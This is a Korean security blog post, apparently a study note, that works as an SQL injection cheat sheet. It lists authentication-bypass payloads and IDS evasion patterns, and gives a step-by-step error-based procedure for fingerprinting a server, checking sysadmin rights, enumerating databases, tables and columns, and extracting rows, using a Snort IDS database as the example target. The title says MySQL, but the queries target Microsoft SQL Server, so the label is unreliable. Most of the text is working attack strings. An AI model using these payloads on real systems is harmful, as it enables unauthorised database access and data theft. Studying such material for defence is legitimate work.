보안세상
MYSQL INJECTION 실행 절차 본문
1) ' or''='
2) ' or 1=1--
3) ' or 'a'='a--
4) 'or'='or'
5) " or 1=1--
6) " or "a"="a
7) ') or ('a'='a
8) ") or ("a"="a
9) ' and [??] and ''='
10) ' and [??] and '%25'='
11) or 1=1--
12) or 'a='a
13) ) or (1=1
14) and [??]
ids에서 검사하는 항목
NION SELECT
OR 1=1
EXEC SP_ (or EXEC XP_)
OR 'Unusual' = 'Unusual'
OR 'Simple' = N'Simple'
OR 'Simple' = 'Sim'+'ple'
OR 'Simple' LIKE 'Sim%'
OR 'Simple' IN ('Simple')
OR 'Simple' BETWEEN 'R' AND 'T'
UNION /**/ SELECT name …
/**/UNION/**/SELECT/**/name …
DB의 권한 역할들
서버 역할(IS_SRVROLEMEMBER)
sysadmin SQL Server에서 모든 작업을 수행합니다. 이 역할의 권한은 모든 다른 고정 서버 역할에 걸쳐 배치됩니다.
serveradmin 서버 차원의 설정을 구성합니다.
setupadmin 연결된 서버를 추가/제거하고 sp_serveroption 등의 일부 시스템 저장 프로시저를 실행합니다.
securityadmin 서버 로그인을 관리합니다.
processadmin SQL Server 인스턴스에서 실행 중인 프로세스를 관리합니다.
dbcreator 데이터베이스를 만들고 대체합니다.
diskadmin 디스크 파일을 관리합니다.
bulkadmin BULK INSERT 문을 실행합니다.
DB역할(IS_MEMBER)
db_owner 데이터베이스 내에서의 유지 관리 및 구성 작업 등 모든 데이터베이스 역할의 작업을 수행합니다. 이 역할의 권한은 모든 다른 고정 서버 역할에 걸쳐 배치됩니다.
db_accessadmin Windows NT 4.0 또는 Windows 2000 그룹과 사용자 및 SQL Server 사용자를 데이터베이스에 추가하거나 제거합니다.
db_datareader 데이터베이스의 모든 사용자 테이블에서 모든 데이터를 봅니다.
db_datawriter 데이터베이스의 모든 사용자 테이블에서 데이터를 추가, 변경 또는 삭제합니다.
db_ddladmin 데이터베이스에서 개체를 추가, 수정 또는 삭제하고 모든 DDL을 실행합니다.
db_securityadmin SQL Server 2000 데이터베이스 역할과 그 구성원을 관리하고 데이터베이스에서 명령문과 개체 사용 권한을 관리합니다.
db_backupoperator 데이터베이스 백업 권한을 갖습니다.
db_denydatareader 데이터베이스에서 데이터를 선택하는 권한을 거부합니다.
db_denydatawriter 데이터베이스에서 데이터를 변경하는 권한을 거부합니다.
인젝션 절차
1.[에러]버젼알기
and 1=(select @@VERSION)
2.권한체크 (권한이 있으면 에러 안남)
--서버 전체 권한
and 1=(IS_SRVROLEMEMBER('sysadmin'))
권한종류:sysadmin,dbcreator,diskadmin,processadmin,serveradmin,setupadmin,securityadmin
--해당 데이터베이스 권한
and 1=(IS_MEMBER('db_owner'))
--declare,-- 사용여부 및
;declare @a int;--
3.[에러]db명 알기
and 0<>db_name()
4.[에러]user명 알기
and user>0
5.[에러]모든 db명 알아오기, 없으면 에러 안남
sysdatabases dbid 1-6은 시스템db
and 1=(select name from master.dbo.sysdatabases where dbid=7)
and 1=(select name from master.dbo.sysdatabases where dbid=8)
6.특정db에서 사용자가 만든 테이블명 불러오기 (top 행증가)
and 0<>(select top 1 name from snortids.dbo.sysobjects where xtype=char(85))
and 0<>(select top 1 name from (select top 행증가 name from .dbo.sysobjects where xtype='U' order by name asc) as table1 order by name desc)
7.테이블의 컬럼정보 불러오기
-[에러]특정 테이블고유ID 가져오기(char(97)+char(98)+char(99)=abc) 1061578820
and 0<>(select count(*) from snortids.dbo.sysobjects where xtype='U' and name=char(97)+char(99)+char(105)+char(100)+char(95)+char(101)+char(118)+char(101)+char(110)+char(116) and uid>(str(id)))
-[에러]컬럼명 가져오기
and 0<>(select top 1 name from snortids.dbo.syscolumns where id=1061578820)
and 0<>(select top 1 name from (select top 행증가 name from snortids.dbo.syscolumns where id=1061578820 order by name asc) as table1 order by name desc)
8.데이터 가져오기
and 0<>(select top 1 char(94)+Cast(sig_name as varchar(8000))+char(94) from SnortIDS..acid_event)
and 0<>(select top 1 char(94)+Cast(컬럼명 as varchar(8000))+char(94) from SnortIDS..acid_event where 컬럼명 not in('이미얻은내용'))
and 0<>(select top 1 char(94)+Cast(컬럼명 as varchar(8000))+char(94) from (select top 행수 컬럼명 from SnortIDS.dbo.acid_event order by 컬럼명 asc) as table1 order by 컬럼명 desc)
'공부' 카테고리의 다른 글
MYSQL Injection 에 quote 우회법 (0) | 2015.06.23 |
---|---|
SQL Injection utf-8변환시 우회기법 (0) | 2015.06.23 |
SQL Injection의 우회 패턴 종류 (0) | 2015.06.23 |
SQL인젝션(sql injection) 우회 패턴 (0) | 2015.06.23 |
아이콘은 문서 파일인데, 확장자는 실행 파일? (0) | 2015.06.23 |